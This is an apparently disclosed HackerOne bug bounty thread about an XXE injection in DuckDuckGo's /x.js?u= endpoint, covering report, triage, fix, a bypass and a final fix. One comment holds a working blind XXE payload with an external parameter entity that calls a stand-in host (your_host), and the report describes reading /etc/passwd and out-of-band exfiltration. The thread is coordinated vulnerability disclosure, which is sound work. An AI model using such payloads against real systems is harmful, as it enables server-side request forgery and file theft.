



mik317 submitted a report to DuckDuckGo.

Jan 22nd (8 days ago)

## Summary:

Hi DuckDuckGo team,

I'm not sure of this vulnerability, but I'd like to try my luck; The https://duckduckgo.com domain is vulnerable against an XXE injection in the /x.js endpoint, in the ?u parameter.

This resource simply fetch a xml-formatted file, and so returns an output.

The problem is that there isn't any control against the xml input, and the output can return the result of some xml entities parsed.

## Steps:

1. Attacker uploads a file with the following content inside his malicious server (reachable remotely)

- 1. Now upload it on his server, and goes on https://duckduckgo.com/x.js?u=http://malicious\_server/xxe.xml
- 2. The result parsed of the file includes the entity with the content of the /etc/passwd



I'm not sure that the execution occurs inside the machine and not only in a sandbox, anyway I want try my luck:)

## **Impact**

XXE injection, LFI, probably RCE

1 attachment:

F410529: xxe.png



beagle (HackerOne staff) posted a comment.

Jan 22nd (8 days ago)

Hi @mik317,

Thanks for your submission. Your report is currently being reviewed and the HackerOne triage team will get back to you once there is additional

Kind regards,

@beagle



beagle (HackerOne staff) changed the status to O Triaged.

Jan 22nd (8 days ago)

Hello @mik317,

Thank you for your submission! I was able to validate your report, and have submitted it to the appropriate remediation team for review. They will let us know the final ruling on this report, and when/if a fix will be implemented. Please note that the status and severity are subject to change.

Regards,

@beagle



mik317 posted a comment.

Jan 22nd (8 days ago)

Hi @beagle,

thank you so much, probably this is my first (xxe):)

Best, Mik



marcantonio posted a comment.

Jan 22nd (8 days ago)

We are investigating.



marcantonio posted a comment.

Jan 22nd (7 days ago)

@mik317 This should be resolved. Could you please verify?



mik317 posted a comment. Yeah, seems fixed to me:)

Jan 22nd (7 days ago)

Best, Mik



mik317 posted a comment.

Updated Jan 22nd (7 days ago)

@marcantonio,

this is my first xxe and also my first rce completed report, so can we disclose (also partially if you prefer)?

Regards, Mik



marcantonio posted a comment.

Jan 22nd (7 days ago)

There was no RCE here. But yes, you can disclose.

So, can you mark these reports as resolved ?



mik317 posted a comment.

Jan 22nd (7 days ago)

In this way I can request the disclosure on the platform :)

Cheers, Mik



marcantonio closed the report and changed the status to  $\circ$  Resolved.

@mik317 Thanks a lot. Can we send you some additional swag?

Jan 23rd (7 days ago)



mik317 requested to disclose this report.

Jan 23rd (7 days ago)

Hi @marcantonio,

the t-shirt- isn't already been delivered, but I think that will be delivered next week.

Anyway, I don't know what type of swags you have lol, can you list to me some ?

PS: Also the #483908 report seems resolved, can we close also it as resolved'?

Best, Mik



mik317 posted a comment.

Jan 23rd (7 days ago)

Hi @marcantonio,

I was too much quick .... I've tried to bypass the fix, and I can still inject XXE entities ....

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://your_host/XXE_VULN">
%remote;
]>
<data>4</data>
```

The <a href="http://your\_host/XXE\_VULN">http://your\_host/XXE\_VULN</a> page will be requested by your machine ....

Probably I can also read the etc/passwd file via the OutOfBand inception, but I'm working still on it

Best, Mik



mik317 cancelled the request to disclose this report.

Jan 23rd (7 days ago)

For now I'm going to cancel the disclosure request until the problem will be resolved correctly:)

If you need that I open another report for this bypass, let me know it ;)

Best, Mik



mik317 posted a comment.

Updated Jan 23rd (7 days ago)

So, from what I can see the file exfiltration via 00B isn't possible, but only because the access in general to the files is denied by some defensive rules. Anyway, is still possible utilize the xxe injection for make requests from your machine (leading also to a probable internal-dos). So, better fix also this type of entities (this is a blind xxe);)

Best, Mik



marcantonio posted a comment.

Jan 27th (3 days ago)

Thanks @mik317. We are evaluating fixes.



tim\_ddg posted a comment.

Jan 28th (about 1 day ago)

@mik317, this should be fixed, can you verify?



mik317 posted a comment.

Jan 28th (about 1 day ago)

Hi,

yes, seems fixed well:).

Please note the final comment on #486732: from my side I can't verify that the fix is done on origin and on content, so keep in mind that all the 2 checks are necessary for stay protected:)

Best, Mik



mik317 posted a comment.

Jan 28th (about 1 day ago)

Thank you so much,

One of the best team I've worked with, and that doesn't undervalue, the "work" of teen-aged testers;)

Cheers, Mik



mik317 requested to disclose this report.

Jan 28th (about 1 day ago)

PS:

I would really appreciate if we can disclose (also partially if you prefer) this report ....

Regards, Mik

— tim\_ddg agreed to disclose this report.

Jan 28th (about 1 day ago)

This report has been disclosed.

Jan 28th (about 1 day ago)